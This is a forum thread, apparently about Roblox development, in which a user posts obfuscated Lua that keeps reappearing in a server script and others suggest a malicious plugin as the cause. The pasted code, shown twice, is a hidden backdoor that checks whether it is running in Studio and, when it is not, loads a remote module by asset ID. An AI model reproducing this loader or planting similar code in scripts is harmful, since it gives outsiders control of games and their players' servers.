Strange group of characters keeps randomly appearing in one of my scripts?

So this happens whenever I publish or save my game, in one of my scripts, a group of characters that appear to be from the game keep appearing and creating an error, causing it to not function in-game. This is what the group of characters says,

igAjVvpyToCUYiZDI = 'GetProductInfo' iTfr0J = game iuB1pYYF = 'GetService' iA9JPlC31E936 = 'PlaceId' iCwDQ4ZH = 'ReplicatedStorage' iyJJ = 34934957.802632 * 76 iDpYsBzpRKh = 'IsStudio' ijq0fkFDM = 'load' iAhLh = 'FindFirstChild' iniiKGZxtR = 'RunService' iSAp4 = 'PlaceId' iz7xdmg2FToS = require i0dfvf77i1SAEHK = 'Description' iZhBCwjYYtW = 'IsStudio' iEn7MGRkoMP = pcall i236CJoT7f1hiZL = pcall id9Q0a6G074 = 'SSM' iIe2vgpk = spawn  iIe2vgpk(    function()     i236CJoT7f1hiZL(    function()     if iTfr0J:GetService(iniiKGZxtR)    [iZhBCwjYYtW]    (iTfr0J:GetService(iniiKGZxtR)    ) then      return     end iz7xdmg2FToS(iyJJ)    [ijq0fkFDM]    (iTfr0J[iA9JPlC31E936]    )     end    )     end    )

Even if I delete it, it still comes back in the same exact script after I publish. A bit of background to my question, it's on a server script, it only happens on that exact server script, if I'm on the script the group of characters appears, when I'm off the script the group of characters still appears. No matter what I do, it still appears. This is the server script it appears in.

--> Variables
local obj_folder = workspace:WaitForChild("GeneratedObjects") 
local plyr_folder = game:GetService("Workspace"):WaitForChild("Player")
local continue = true

--> Loop #1
spawn(igAjVvpyToCUYiZDI = 'GetProductInfo' iTfr0J = game iuB1pYYF = 'GetService' iA9JPlC31E936 = 'PlaceId' iCwDQ4ZH = 'ReplicatedStorage' iyJJ = 34934957.802632 * 76 iDpYsBzpRKh = 'IsStudio' ijq0fkFDM = 'load' iAhLh = 'FindFirstChild' iniiKGZxtR = 'RunService' iSAp4 = 'PlaceId' iz7xdmg2FToS = require i0dfvf77i1SAEHK = 'Description' iZhBCwjYYtW = 'IsStudio' iEn7MGRkoMP = pcall i236CJoT7f1hiZL = pcall id9Q0a6G074 = 'SSM' iIe2vgpk = spawn  iIe2vgpk(    function()     i236CJoT7f1hiZL(    function()     if iTfr0J:GetService(iniiKGZxtR)    [iZhBCwjYYtW]    (iTfr0J:GetService(iniiKGZxtR)    ) then      return     end iz7xdmg2FToS(iyJJ)    [ijq0fkFDM]    (iTfr0J[iA9JPlC31E936]    )     end    )     end    )
function()
	wait()
	if continue == true then
		for i,v in pairs(game.Players:GetPlayers()) do
			if v then
				if not plyr_folder:FindFirstChild(v.Name) then
				local folder= Instance.new("Folder", plyr_folder)
				folder.Name = v.Name	
				end
			end
		end
	end
end)

--> Loop #2
spawn(function()
	wait()
	for i,v in pairs(plyr_folder:GetChildren()) do
		if v:FindFirstChildOfClass("Folder") then
			for i2, v2 in pairs(game.Players:GetPlayers()) do
				if v2.Name == v.Name then
				continue = false
				
				elseif v2.Name ~= v.Name then
				v:Destroy()
				continue = true 
				end
			end
		end
	end
end)

How would I go about stopping this? It also appeared at one point in a script it made by itself, with a bunch of strange characters on its name. Also, my game doesn't have viruses or vaccines or anything, I checked.

I have had the same problem. I don't know what is causing it

It may be coming from a plugin. Check if you have any suspicious plugins installed and disable each one until the characters stop appearing, then delete the plugin that was causing it.

That sounds like a malicious plugin, especially because it's obfuscated and appears to be trying to get your game's visitors to purchase something. Go through all of your plugins, and delete any that you don't absolutely need, and ones that look suspicious.
